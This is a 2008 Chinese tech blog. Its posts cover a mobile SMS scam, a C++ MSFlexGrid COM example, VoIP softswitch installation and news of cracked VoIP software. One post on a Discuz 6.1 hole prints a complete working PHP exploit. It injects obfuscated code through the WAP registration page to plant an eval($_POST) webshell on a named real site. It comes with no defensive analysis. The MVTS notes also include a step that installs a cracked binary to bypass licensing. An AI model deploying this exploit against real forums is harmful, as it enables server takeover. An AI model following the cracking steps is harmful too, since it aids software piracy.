Nov 28 2008

搞定了山寨机垃圾短信陷阱

Tag: 其他admin @ 1:41 pm

这个月不小心碰到山寨机的短信陷阱,又被扣了12元。气死我了,后来在网上找到一个办法,就是打10086关闭梦网短信功能,这样再不小心碰到那些陷阱就会收到短信:

由于未经您的授权,本次请求未成功,如需使用,请致电10086中国移动进行开通。


Nov 28 2008

程序调用MSFLXGRID.OCX例子

Tag: 杂七杂八admin @ 9:04 am

最近在维护一个SDK写的程序,某个显示界面要使用表格控件,在网上搜索了很多人的文章,参考了http://topic.csdn.net/t/20020702/14/843997.html 和http://www.titilima.cn/show-64-1.html 这两篇文章,做了个个MSFLXGRID.OCX版的测试程序,在VC++6中通过。

// testgrid.cpp : Defines the entry point for the application.
//

#include “stdafx.h”
#import   “c:\windows\system32\msflxgrd.ocx”  
  #include   <atlbase.h>  
    CComModule   _Module;  
  #include   <atlwin.h>  
  #pragma   comment(lib,”atl”)  
  #define   ODS(x)   OutputDebugString(x)
// 处理连接点事件的接收器实现
 class   CFlexGridSink   :   public  MSFlexGridLib::DMSFlexGridEvents  
  {  
  public:
  
   CFlexGridSink() :m_pFlexGrid(NULL),m_dwRef(1),m_hrConnected(CONNECT_E_CANNOTCONNECT), m_dwCookie(0),m_pCP(NULL)  
  {  
  }  
   
  ~CFlexGridSink()  
  {  
  }
  //控件初始化操作
  HRESULT   Init(MSFlexGridLib::IMSFlexGrid*   pWin)  
  {  
  HRESULT   hr   =   NOERROR;  
  LPCONNECTIONPOINTCONTAINER   pCPC   =   NULL;  
  if   (m_pFlexGrid)  
  m_pFlexGrid->Release();  
  m_pFlexGrid = pWin;  
 
  if   (FAILED(hr   =   pWin->QueryInterface(IID_IConnectionPointContainer,   (LPVOID*)&pCPC)))  
  goto   Error;  
  if   (FAILED(hr   =   pCPC->FindConnectionPoint(__uuidof(MSFlexGridLib::DMSFlexGridEvents),   &m_pCP)))  
  goto   Error;  
  m_hrConnected   =   m_pCP->Advise((LPUNKNOWN)this,   &m_dwCookie);  
  ODS(”Init   runs   well”);  
  Error:  
  if   (pCPC)   pCPC->Release();  
  return   hr;  
  }  
  HRESULT   Passivate()  
  {  
  HRESULT   hr   =   NOERROR;  
  if   (m_pCP)  
  {  
  if   (m_dwCookie)  
  {  
  hr   =   m_pCP->Unadvise(m_dwCookie);  
  m_dwCookie   =   0;  
  }  
    m_pCP->Release();  
    m_pCP   =   NULL;  
  }  
  if   (m_pFlexGrid)  
  {  
  m_pFlexGrid->Release();  
  m_pFlexGrid   =   NULL;  
  }  
  return   NOERROR;  
  }  //初始化结束

 //   IUnknown   方法  
 STDMETHOD(QueryInterface)(REFIID   riid,   LPVOID*   ppv)  
  {  
  *ppv   =   NULL;  
  if   (IID_IUnknown   ==   riid)  
  {  
  *ppv   =   (LPUNKNOWN)this;  
  AddRef(); ODS(”IID_IUnknown”);  
  return   NOERROR;  
  }  
  else   if   (IID_IDispatch   ==   riid)  
  {  
  *ppv   =   (IDispatch*)this;  
  AddRef(); ODS(”IID_IDispatch”);  
  return   NOERROR;  
  }  
  else   if(riid==__uuidof(MSFlexGridLib::DMSFlexGridEvents))  
  {  
  *ppv   =   (MSFlexGridLib::DMSFlexGridEvents*)this;  
  AddRef(); ODS(”DMSFlexGridEvents引用\n”);  
  return   NOERROR;  
  }  
  else  
  {  
    OLECHAR   wszBuff[39];  
    int   i   =   StringFromGUID2(riid,   wszBuff,   39);  
    TCHAR   szBuff[39];  
    i   =   WideCharToMultiByte(CP_ACP,   0,   wszBuff,   -1,   szBuff,   39,   NULL,   NULL);  
    ODS(”DMSFlexGridEvents   QI:   “);   ODS(szBuff);   ODS(”\n”);  
    return   E_NOTIMPL;  
      }  
  }          

 //////////////////////////////////

 STDMETHOD_(ULONG,AddRef)()  
  {  
  TCHAR   szBuff[255];  
  wsprintf(szBuff,   “引用增加CFlexgridSink   refcount   increased   to   %d\n”,   m_dwRef+1);  
  ODS(szBuff);  
  return   ++m_dwRef;  
  }   
 ////////////////////////////
   STDMETHOD_(ULONG,   Release)()  
  {  
  TCHAR   szBuff[255];  
  if   (–m_dwRef   ==   0)    
  {    
  ODS(”删除Deleting   CFlexgridSink\n”);  
  delete   this;    
  return   0;    
  }  
  wsprintf(szBuff,   “减少到:CFlexgridSink   refcount   reduced   to   %d\n”,   m_dwRef);  
  ODS(szBuff);  
  return   m_dwRef;  
  }  
 /////////////////////////////////

//   IDispatch   method  
  STDMETHOD(GetTypeInfoCount)(UINT*   pctinfo)  
  {   ODS(”GetTypeInfoCount\n”);   return   E_NOTIMPL;   }  
   
  STDMETHOD(GetTypeInfo)(UINT   iTInfo,  
                          LCID   lcid,  
                          ITypeInfo**   ppTInfo)  
  {   ODS(”GetTypeInfo\n”);   return   E_NOTIMPL;   }  
   
  STDMETHOD(GetIDsOfNames)(REFIID   riid,  
                          LPOLESTR*   rgszNames,  
                          UINT   cNames,  
                          LCID   lcid,  
                          DISPID*   rgDispId)  
  {   ODS(”GetIDsOfNames\n”);   return   E_NOTIMPL;   }  
                   
  STDMETHOD(Invoke)(DISPID   dispIdMember,  
                          REFIID   riid,  
                          LCID   lcid,  
                          WORD   wFlags,  
  DISPPARAMS   __RPC_FAR   *pDispParams,  
                          VARIANT   __RPC_FAR   *pVarResult,  
                          EXCEPINFO   __RPC_FAR   *pExcepInfo,  
                          UINT   __RPC_FAR   *puArgErr)  
  { 
   TCHAR   szBuff[255];  
   long x,y;
 // wsprintf(szBuff,   “pVarResult: %d,事件发生:   %x\n”,  pVarResult, dispIdMember);  
  //ODS(szBuff);  
    //ODS(”事件发生\n”);
  /*if   (!pVarResult)  
  {  
  return   E_POINTER;  
  }   */
  switch(dispIdMember)  
  {  
  case DISPID_CLICK:  
 
 m_pFlexGrid->get_MouseRow(&x);
 m_pFlexGrid->get_MouseCol(&y);
 wsprintf(szBuff,   “鼠标单击 行:%d, 列:%d\n”, x, y);
  MessageBox(NULL,szBuff,”测试一个程序”,MB_OK);

  break;  
  //case 0×47:
 //MessageBox(NULL,”Entercell”,”测试一个程序”,MB_OK);
 //break;
  case  DISPID_DBLCLICK: 
 
  ODS(”DblClick”);  
  break;  
  case   DISPID_READYSTATECHANGE:  
  ODS(”OnReadyStateChange”);  
  break;  
  default:  
  TCHAR   szBuff[255];  
  wsprintf(szBuff,”dispIdMember=%d”,dispIdMember);  
  ODS(szBuff);  
  return   DISP_E_MEMBERNOTFOUND;  
  }  
  return   NOERROR;  
  }            
    

 

   /////////////////////////
private:  
 MSFlexGridLib::IMSFlexGrid*   m_pFlexGrid;  
  DWORD   m_dwRef;  
  LPCONNECTIONPOINT   m_pCP;  
  HRESULT   m_hrConnected;  
  DWORD   m_dwCookie;  
 };//类结束

 

 

 HINSTANCE   hInst;
 CAxWindow   m_container; 
CFlexGridSink g_FlexGrid;
  using   namespace MSFlexGridLib;

 IMSFlexGrid* flxdbg;
BOOL InitInstance(HINSTANCE   hInstance,   int   nCmdShow)  
  {  
        HWND   hWnd;  
        hInst   =   hInstance;   //   Store   instance   handle   in   our   global   variable  
   AtlAxWinInit(); 
        hWnd   =   CreateWindow(”mydoc”,   “this test windows”,   WS_OVERLAPPEDWINDOW,  
              CW_USEDEFAULT,   0,   CW_USEDEFAULT,   0,   NULL,   NULL,   hInstance,   NULL);  
        if   (!hWnd)  
              return   FALSE;  
        ShowWindow(hWnd,   nCmdShow);  
        UpdateWindow(hWnd);  
        return   TRUE;  
  }

 
LRESULT APIENTRY WndProc(HWND hWnd, UINT message,
   WPARAM wParam, LPARAM lParam);
 BOOL InitInstance(HINSTANCE,   int);
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
 MSG   msg;
   WNDCLASSEX   wcex;  
  wcex.cbSize   =   sizeof(WNDCLASSEX);    
  wcex.style =   CS_HREDRAW   |   CS_VREDRAW;  
  wcex.lpfnWndProc =   (WNDPROC)WndProc;  
  wcex.cbClsExtra =   0;  
  wcex.cbWndExtra =   0;  
  wcex.hInstance =   hInstance;  
  wcex.hIcon =   LoadIcon(NULL,   IDI_APPLICATION);  
  wcex.hCursor =   LoadCursor(NULL,   IDC_ARROW);  
  wcex.hbrBackground =   (HBRUSH)(COLOR_WINDOW+1);  
  wcex.lpszMenuName =   NULL;//(LPCSTR)IDC_FLSH;  
  wcex.lpszClassName =   “mydoc”;  
  wcex.hIconSm =   LoadIcon(NULL,   IDI_APPLICATION);  
   RegisterClassEx(&wcex);
 CoInitialize(NULL);
  if   (!InitInstance   (hInstance,   nCmdShow))   return   FALSE; 
  while   (GetMessage(&msg,   NULL,   0,   0))    
  {  
  TranslateMessage(&msg);  
  DispatchMessage(&msg);  
  }  
  
  return   msg.wParam;  
  }  
   

LRESULT   CALLBACK   WndProc(HWND   hWnd,   UINT   message,   WPARAM   wParam,   LPARAM   lParam)  
  {  
  int   wmId,   wmEvent;  
 
 PAINTSTRUCT   ps;  
  HDC   hdc; 
  
  switch   (message)    
  {  
  case   WM_CREATE:  
RECT   rc;
CreateWindow(TEXT(”BUTTON”),TEXT(”按钮(&A)”),
WS_CHILD | WS_VISIBLE |BS_PUSHBUTTON, 10, 10, 100, 30, hWnd, (HMENU)1000, //控件ID
((LPCREATESTRUCT) lParam)->hInstance, //实例句柄
NULL); //创建一个按钮

GetClientRect(hWnd,   &rc   );  
  rc.top   =   rc.top+50;  
  m_container.Create(   hWnd,   rc,   LPCTSTR(”MsFlexGridLib.MSFlexGrid”),   WS_CHILD|WS_VISIBLE|WS_HSCROLL|WS_VSCROLL   );
m_container.QueryControl(   __uuidof(IMSFlexGrid),   reinterpret_cast<void**>(&flxdbg)   );
g_FlexGrid.Init (flxdbg);
flxdbg->ColWidth[1]=1500;
//flxdbg->put_BackColor(180)
flxdbg->PutBackColorSel(180);
flxdbg->put_Rows(10);
flxdbg->put_Cols (10);
flxdbg->AllowUserResizing=flexResizeBoth;
flxdbg->FixedCols  =0;
//flxdbg->put_RowSel(10);
flxdbg->Row =3;
flxdbg->ColSel=8;
 flxdbg->put_CellBackColor(0xff0000);
flxdbg->Row =5;
flxdbg->ColSel=8;
 flxdbg->put_CellBackColor(0xff0000);
flxdbg->put_TextMatrix(0,0,SysAllocString(L”槽号”));
flxdbg->put_TextMatrix(1,0,SysAllocString(L”101″));
flxdbg->put_TextMatrix(0,1,SysAllocString(L”电流”));
flxdbg->put_TextMatrix(1,1,SysAllocString(L”160″));
flxdbg->put_TextMatrix(0,2,SysAllocString(L”电压”));

     //  return 0;

  break;  
  case   WM_SIZING:  
  GetClientRect(hWnd,   &rc   );  
  rc.top   =   rc.top+100;  
 
  m_container.MoveWindow(&rc,true);
 
 // flxdbg->Rows->
  break;  
  case   WM_COMMAND:  
  wmId         =   LOWORD(wParam);    
  wmEvent   =   HIWORD(wParam);    
 
  switch   (wmId)  
  {  
  case   1000:  
  {  
  MessageBox(NULL,”按钮按下了”,”测试一个程序”,MB_OK);

  
  }  
  break;  
  default:  
        return   DefWindowProc(hWnd,   message,   wParam,   lParam);  
  }  
  break;  
  case   WM_PAINT:  
  hdc   =   BeginPaint(hWnd,   &ps);  
  RECT   rt;  
  GetClientRect(hWnd,   &rt);  
    
  EndPaint(hWnd,   &ps);  
  break;  
  case   WM_DESTROY:
 g_FlexGrid.Release ();
  PostQuitMessage(0);  
  break;  
  default:  
  return   DefWindowProc(hWnd,   message,   wParam,   lParam);  
        }  
        return   0;  
  }


Nov 23 2008

安装MVTS主执行程序

Tag: VOIP和软交换admin @ 10:59 pm

一、安装MVTS
cd /usr/local
tar xvzf mvts-310-Linux.tar.gz
cd ./mvts
chmod 777 setup.sh
./setup.sh
输入: enter MVTS admin group id:  0
enter MVTS support group id: 0
enter MVTS billing group id: 0
全部输入rootgroup id
0
MVTS
安装完成!

二、解密:
mp_kerneld.x拷贝到/usr/local/mvts/bin目录下
将文件权限改为:-r-xr-x—x chomd 777 mp_kerneld.x
三、执行MVTS
/etc/rc.d/init.d/mvts start
/usr/local/mvts/bin/mp_shell.x
进入MVTS控制台

#>  show stat
显示MVTS状态

MVTS-SIP-HIT协议转换程序

安装SIP转换程序

tar zxvf SIP-HIT_1.1.2.10_linux.tar.gz
./install.sh
/usr/local/siphit
回车
安装完成

cr_siphit_linux.tgz拷到/usr/local/siphit目录下,解压覆盖原文件OK

Chmod 777 convert

mvts_manager.tar.gz

安装MVTS管理程序及WEB
tar zxvf manager.tar.gz
cd manager

Chmod 777 setup
[root@localhost manager]# ./setup
MVTS directory? [/usr/local/mvts]:
MVTS Manager directory? [/usr/local/mvts/manager]:
File or directory /usr/local/mvts/manager exists. Replace? [y/n]: y
MVTS admin group? [mvts]:
MVTS admin user (not root)? [mvts]:
MVTS Manager successfully installed.
Please do following steps before using MVTS Manager:
1. Edit file /usr/local/mvts/cfg/meraproxy.cfg:
   [Console]
   console_port=1730
   admin_gid=500
   
2. Reload MVTS configuration:

   /usr/local/mvts/bin/mp_shell.x r c -d
   
3. Start MVTS agent from root:

   /usr/local/mvts/manager/bin/mvtsagntctl start
   or
   /etc/init.d/mvtsagnt start
Thank you for using MVTS Manager!

*******************************************************************************

MVTS解密

二、解密:
mp_kerneld.x拷贝到/usr/local/mvts/bin目录下
将文件权限改为:-r-xr-x–x
三、执行
MVTS
/etc/rc.d/init.d/mvts start
/usr/local/mvts/bin/mp_shell.x
进入MVTS控制台

#>  show stat
显示MVTS状态

 


Nov 18 2008

Voipswitch version 2.0.0.983

Tag: VOIP和软交换admin @ 9:11 am

在国外论坛上看到Voipswitch 的新版又有了,983版,感觉除了支持Vista 之外,其他变化不大。难道Vista 用户很多吗?大部分的应该都是用语音网关吧,只要升级了SIP软电话就可以。有机会找个来测试下。

VPS983 — Voipswitch version 2.0.0.983

Support dialer Vista

include vippie!

support new Webportal , support 15/30/60 sec for CDR display format

support OnlineShop for paypal , online pay

support Tunnel Server/Tunnel pc2phone Dialer/Tunnel Proxy **** VPN dialer for UAE/dubai/BD

support Calling card Module , pin recharge

support VoiceMail

support Callshop Module

support DID Callback / SMS Callback / ANI Callback / WEB Callback / SMS recharge

support internal Billiing / prepaid / web reseller / web config

support WEB CDR

support IVR voice play UserBalance , IVR voice build , IVR recharge

include h323 , sip softphone / webphone


Nov 17 2008

vos2000安装方法

Tag: VOIP和软交换admin @ 9:09 am

VOS安装前准备
   1:vi /etc/selinux/config   查看其中是否有 SELINUX=disabled  如果没有要设定如上  后重启服务器
   2:rpm -qa|grep mysql       查看是否安装过musql   如装过就要用  rpm -e –nodeps mysql  强制删除
   3:date                     查看系统时间    用 date -s ——  来修改新的时间  再用 clock –systohc把系统信息写入硬件
   4:上传文件  用 sftp 统一在上传服务器建立 dl/tools和dl/v1.2.1-12目录
vos安装
    cat /proc/version         系统内核信息
    cat /proc/cpuinfo                cpu信息
    cat /proc/meminfo         内存信息
    1:查看是否安装perl    rpm -qa|grep perl
    2:rpm -ivh perl -DBI-1.40-5.i386.rpm
    3:rpm -ivh MySQL-server-community-5.0.45-0.rhe14.i386.rpm
    4:查看mysql是否安装成功:ps -ef|grep mysql或用 top查看
    5, rpm -ivh mysql-client-community-5.0.45-0.rh14.i138.rm
    6, tar zxvf apach-tomcat-5.5.15.tar.gz   解压
    7, mv apache-tomcat -5.5.15 /usr 移动目录
    8, vi /usr/apache-tomcat-5.5.15/conf/server.xml    进入后 /8080   将connector port =”80″      :wq
    9 rpm -ivh jdk-1.5.0.08-linux-i586.rpm
    10, rpm -ivh mbx1000hs-1.2.1-12.i586.rpm
    11, rpm -ivh vos2000-1.2.1-12.i586.rpm
VOS升级
    1 rpm -e mbx 1000hs 删除旧mbx
    2 rpm -ivh mbx 1000hs-1.2.1-12.i586.rpm   升级包
VOS问题
  cd /var/lib/mysql/vosdb
  安装后数据同步
  用LL命令查看VOSDB下所有用户权限.
  可用命令 chown mysql:mysql *  把所有的文件的权限改为mysql
  发现因断电使数据出错时用命令  mysqlcheck -r vosdb 修复VOS 全部数据,也可以先进入MYSQL 再
   mysql >show tables
   mysql >select * from e_customer limit 1
                         表名        查找一行错误

   如果后发现这个表中有错误
  mysql>repair table e_customer  修复此表
   可用这种办法先查看所有的表,、再修复

   重启服务
 /etc/init.d/vosd restart
 /etc/init.d/voswebct restart
 /etc/init.d/voswebsv restart
 /etc/init.d/mbxhsd restart  (双)
 /etc/init.d/mbxsd restart  (sip)
 /etc/init.d/mbxd restart   (h323)


Nov 16 2008

discuz6.1最新漏洞

Tag: 网站资源admin @ 4:04 pm

oo论坛昨天被挂马了,从日志里找到了挂马者的痕迹,通过wap/index.php注入,然后获得一个shell,拿到了mysql的密码,后提权。从挂马者留下的shell里找到了攻击代码发布的网站。找到了这段攻击代码。

要求比较高,需要开通WAP注册。

#!/usr/bin/php
<?php
/**
* Discuz! 6.x/7.x SODB-2008-13 Exp
* By www.80vul.com
* 文件中注释的变量值请自行修改
*/
$host = ‘www.6sim.com’;
// 服务器域名或IP
$path = ‘/bbs/’;
// 程序所在的路径
$key  = 1;
// 上面的变量编辑好后,请将此处的值改为1

if (strpos($host, ‘://’) !== false || strpos($path, ‘/’) === false || $key !== 1)
     exit(”专业点好不,先看看里面的注释 -,-\n”);

error_reporting(7);
ini_set(’max_execution_time’, 0);

$key = time();
$cmd = ‘action=register&username=’.$key.’&password=’.$key.’&email=’.$key.’@80vul.com&_DCACHE=1′;
$resp = send();

preg_match(’/logout=yes&amp;formhash=[a-z0-9]{8}&amp;sid=([a-zA-Z0-9]{6})/’, $resp, $sid);
echo $resp;
if (!$sid)
    exit(”哦,大概是没有开启WAP注册吧 -,-\n”);

$cmd = ’stylejump[1]=1&styleid=1&inajax=1&transsidstatus=1&sid=’.$sid[1].’&creditsformula=${${fputs(fopen(chr(46).chr(46).chr(47).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(101).chr(118).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(41).chr(63).chr(62).chr(56).chr(48).chr(118).chr(117).chr(108))}}’;
send();

$shell = ‘http://’.$host.$path.’forumdata/cache/eval.php’;

if (file_get_contents($shell) == ‘80vul’)
    exit(”好了,去看看你的WebShell吧:\t$shell\n里面的代码是:\t<?eval(\$_POST[c])?>\n别告诉我你不会用 -,-\n”);
else
    exit(”嗯,大概是该网站不存在漏洞,换一个吧 -,-\n”);

function send()
{
    global $host, $path, $url, $cmd;

    $data = “POST “.$path.”wap/index.php  HTTP/1.1\r\n”;
    $data .= “Accept: */*\r\n”;
    $data .= “Accept-Language: zh-cn\r\n”;
    $data .= “Referer: http://$host$path\r\n“;
    $data .= “Content-Type: application/x-www-form-urlencoded\r\n”;
    $data .= “User-Agent: Opera/9.62 (X11; Linux i686; U; zh-cn) Presto/2.1.1\r\n”;
    $data .= “Host: $host\r\n”;
    $data .= “Connection: Close\r\n”;
    $data .= “Content-Length: “.strlen($cmd).”\r\n\r\n”;
    $data .= $cmd;

    $fp = fsockopen($host, 80);
    fputs($fp, $data);

    $resp = ”;

    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);

    return $resp;
}

?>


Nov 14 2008

skip2pbx封杀盗版

Tag: VOIP和软交换admin @ 10:18 am

自从skip2pbx升级到3.0之后,很多破解版的用户突然发现他们运营的好好的skip2pbx不能用了,连不上SKYPE了,检查日志发现服务器访问skip2pbx官方网站之后就拒绝登录skype了,重新安装也不行。用盗版就是不稳定啊。不过也还用了几个月,按说应该挣了不少吧。这时候要么买正版的授权,要么等新破解出来。


Nov 08 2008

没有百度一样有流量

Tag: 网站资源admin @ 12:18 am

虽然百度可以带来很多流量,但是这个世界不是只有一个百度,离开了百度一样活,现在我的博客在百度只剩下首页,每次只收录首页,死活不收内页。虽然我的博客全部是原创文章。但是尽管百度一度把首页给K了,但是我的博客流量一点没少,虽然每天只有几百IP,但是都是自然流量,90%都是直接输入网址来的。没有百度之前大家都怎么过的?没有百度就不活了吗?


Nov 05 2008

voipswitch 977的破解版出现了

Tag: VOIP和软交换admin @ 9:56 am

在某VOIP论坛上,有网友已经发布了voipswitch 977版的破解版,这是目前国内破解版的最高版,此前有网友发布了983版的未破解版,据悉,977版修正了967和969不能强制显号的BUG,支持经济路由,对小网关的支持更好。但是目前普通网友还很难下载到这个版本,因为发布者要求的金币太高。只有高级会员才可以下载到。由于新的破解版发布了,因此969版的注册机都打折了。


Nov 01 2008

vos2000破解版开始泛滥

Tag: VOIP和软交换admin @ 10:49 pm

昨天下午,在某VOIP论坛,已经有网友开始传播vos2000的破解文件,该网友留下了一个QQ联系方式,免费生成授权文件,今天又有网友把注册机发到该论坛上。相信VOS的破解文件已经传播范围较广了。目前南京昆石方面还没有反应。另外有网友指出这是官方的伎俩,在SVSS免费政策,FREEIRIS开源的压力之下,学习AVS的放纵盗版政策,占领市场,等客户的平台部署差不多的时候再打击,这样客户想换其他平台就很困难,就只好乖乖交钱买正版。

目前国内软交换市场产品有同质化现象,功能都差不多,想占领市场就只有降价,或者先放纵盗版,培养潜在客户。国内开源软件freeiris已经开发出基于SKYPE做落地的插件,测试结果很不错,相信软交换市场的竞争将进一步白热化,这也给商业软交换一定压力。